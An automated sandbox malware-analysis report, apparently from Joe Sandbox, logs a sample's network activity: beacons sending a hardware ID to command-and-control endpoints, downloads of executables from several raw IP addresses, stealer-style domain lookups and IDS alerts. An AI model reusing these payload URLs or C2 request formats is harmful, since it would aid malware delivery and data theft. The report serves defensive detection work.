Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic HTTP traffic detected: GET /XC.exe HTTP/1.1Host: 45.200.148.223
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 33 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002930001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 33 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002931001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002932001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBAEHIJKJKEBFIEGHIHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 43 31 34 35 31 38 43 41 42 37 36 37 31 38 34 37 36 33 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------JJDBAEHIJKJKEBFIEGHIContent-Disposition: form-data; name="hwid"5EC14518CAB7671847631------JJDBAEHIJKJKEBFIEGHIContent-Disposition: form-data; name="build"tale------JJDBAEHIJKJKEBFIEGHI--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 39 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002933001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 43 31 34 35 31 38 43 41 42 37 36 37 31 38 34 37 36 33 31 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 4b 45 43 46 42 47 49 49 49 45 42 47 44 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="hwid"5EC14518CAB7671847631------AAKKECFBGIIIEBGDGDAKContent-Disposition: form-data; name="build"tale------AAKKECFBGIIIEBGDGDAK--
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 45 43 31 34 35 31 38 43 41 42 37 36 37 31 38 34 37 36 33 31 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="hwid"5EC14518CAB7671847631------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="build"tale------FHJDGHIJDGCBAAAAAFIJ--
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View ASN Name: ATT-INTERNET4US ATT-INTERNET4US
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49704 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49708 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49732 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49743 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49723 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49706 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49751 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49983 -> 45.200.148.223:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49985 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49989 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49990 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49991 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49992 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49993 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49994 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49996 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49997 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50003 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50002 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50002 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50004 -> 185.215.113.16:80
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50000 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50012 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.7:49752
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 15_2_0056BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile, 15_2_0056BE30
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /XC.exe HTTP/1.1Host: 45.200.148.223
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php*--autocomplete-popup-separator-color--panel-banner-item-update-supported-bgcolor*://cdn.cmp.advertising.com/firefox-etp--panel-banner-item-info-icon-bgcolor*://vast.adsafeprotected.com/vast*color-mix(in srgb, currentColor 9%, transparent)browser.sessionstore.resuming_after_os_restart equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @mozilla.org/addons/addon-manager-startup;1pictureinpicture%40mozilla.org:1.0.0*://cdn.branch.io/branch-latest.min.js*https://smartblock.firefox.etp/facebook.svg*://pub.doubleverify.com/signals/pub.js*FileUtils_openAtomicFileOutputStream*://c.amazon-adsystem.com/aax2/apstag.js*://static.chartbeat.com/js/chartbeat_video.js*://*.imgur.com/js/vendor.*.bundle.js*://www.rva311.com/static/js/main.*.chunk.js*://auth.9c9media.ca/auth/main.js@mozilla.org/network/atomic-file-output-stream;1webcompat-reporter@mozilla.org.xpiresource://gre/modules/addons/XPIProvider.jsm*://static.criteo.net/js/ld/publishertag.js*://www.google-analytics.com/analytics.js**://www.googletagmanager.com/gtm.js**://ssl.google-analytics.com/ga.js*://imasdk.googleapis.com/js/sdkloader/ima3.js*://pagead2.googlesyndication.com/tag/js/gpt.js**://cdn.adsafeprotected.com/iasPET.1.js*://s0.2mdn.net/instream/html5/ima3.js*://adservex.media.net/videoAds.js**://*.moatads.com/*/moatheader.js**://www.google-analytics.com/plugins/ua/ec.js*://*.vidible.tv/*/vidible-min.js**://www.googletagservices.com/tag/js/gpt.js**://js.maxmind.com/js/apis/geoip2/*/geoip2.js*://cdn.optimizely.com/public/*.js*://s.webtrends.com/js/advancedLinkTracking.js*://s.webtrends.com/js/webtrends.js*://s.webtrends.com/js/webtrends.min.jsresource://gre/modules/DeferredTask.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: JSON Viewer's onSave failed in startPersistence@mozilla.org/network/protocol;1?name=defaultbrowser.fixup.dns_first_for_single_wordsbrowser.urlbar.dnsResolveFullyQualifiedNames^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]|$)get FIXUP_FLAG_FORCE_ALTERNATE_URIDevToolsStartup.jsm:handleDebuggerFlagresource://devtools/shared/security/socket.jsreleaseDistinctSystemPrincipalLoaderget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUP^([a-z][a-z0-9.+\t-]*)(:|;)?(\/\/)?devtools.performance.popup.feature-flag@mozilla.org/dom/slow-script-debug;1{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}@mozilla.org/uriloader/handler-service;1Got invalid request to save JSON datadevtools.performance.recording.ui-base-url^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$DevTools telemetry entry point failed: Failed to execute WebChannel callback:No callback set for this channel.devtools.debugger.remote-websocketdevtools/client/framework/devtoolsUnable to start devtools server on WebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=file^([a-z+.-]+:\/{0,3})*([^\/@]+@).+resource://gre/modules/URIFixup.sys.mjsCan't invoke URIFixup in the content processhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://poczta.interia.pl/mh/?mailto=%s_finalizeInternal/this._finalizePromise<@mozilla.org/network/async-stream-copier;1_injectDefaultProtocolHandlersIfNeededresource://gre/modules/FileUtils.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%shandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/DeferredTask.sys.mjshttps://mail.inbox.lv/compose?to=%shttp://www.inbox.lv/rfc2368/?value=%s@mozilla.org/uriloader/dbus-handler-app;1{c6cf88b7-452e-47eb-bdc9-86e3561648ef}extractScheme/fixupChangedProtocol<resource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/uriloader/local-handler-app;1{33d75835-722f-42c0-89cc-44f328e56a86}https://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sisDownloadsImprovementsAlreadyMigratedresource://gre/modules/NetUtil.sys.mjsScheme should be either http or httpshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjs@mozilla.org/uriloader/web-handler-app;1@mozilla.org/network/file-input-stream;1resource://gre/modules/JSONFile.sys.mjsgecko.handlerService.defaultHandlersVersionSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLNon-zero amount of bytes must be specifiedhttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%sFirst argument should be an nsIInputStreampdfjs.previousHandler.alwaysAskBeforeHandlingpdfjs.previousHandler.preferredActionVALIDATE_DONT_COLLAPSE_WHITESPACE@mozilla.org/uriloader/handler-service;1resource://gre/modules/Integration.sys.mjs@mozilla.org/uriloader/handler-service;1Must have a source and a callback@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/inp
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: media.gmp-manager.cert.checkAttributesmedia.gmp-manager.checkContentSignatureonPrefEnabledChanged() - removing gmp directory media.gmp-manager.secondsBetweenChecksaddGatedPermissionTypesForXpcShellTestsipc:first-content-process-createdmedia.{0}.allow-x64-plugin-on-arm64resource://gre/modules/AddonManager.sys.mjsfindUpdates() - found update for uninstallPlugin() - unregistering gmp directory KEY_PLUGIN_LAST_INSTALL_FAIL_REASONKEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONdom.sitepermsaddon-provider.enabledThis should only be called from XPCShell testsspeculativeConnectWithOriginAttributes*://*.imgur.io/js/vendor.*.bundle.js*://web-assets.toggl.com/app/assets/scripts/*.js*://libs.coremetrics.com/eluminate.jswebcompat-reporter%40mozilla.org:1.5.1*://connect.facebook.net/*/sdk.js**://connect.facebook.net/*/all.js*@mozilla.org/network/file-output-stream;1https://smartblock.firefox.etp/play.svgFileUtils_closeSafeFileOutputStream*://www.everestjs.net/static/st.v3.js*resource://gre/modules/FileUtils.sys.mjs*://track.adform.net/serving/scripts/trackpoint/FileUtils_openSafeFileOutputStream*://static.chartbeat.com/js/chartbeat.js@mozilla.org/network/safe-file-output-stream;1FileUtils_closeAtomicFileOutputStreamresource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: global traffic DNS traffic detected: DNS query: presticitpo.store
Source: global traffic DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic DNS traffic detected: DNS query: didjmdk3nindi3nd.zapto.org
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: firefox.exe, 00000024.00000002.2565377326.0000019A5816B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2897364373.0000019A67D71000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000004.00000003.1475372451.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000002.2562504183.00000000012DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000004.00000003.1475372451.00000000014DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/6
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.00000000012DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/E$
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.00000000012DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/S$
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.0000000001343000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000004.00000003.1475372451.00000000014DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/mine/random.exe3p
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.0000000001343000.00000004.00000020.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000002.2537772254.0000000000CFA000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 44f3ff7773.exe, 00000012.00000002.2611102412.0000000005A32000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe$
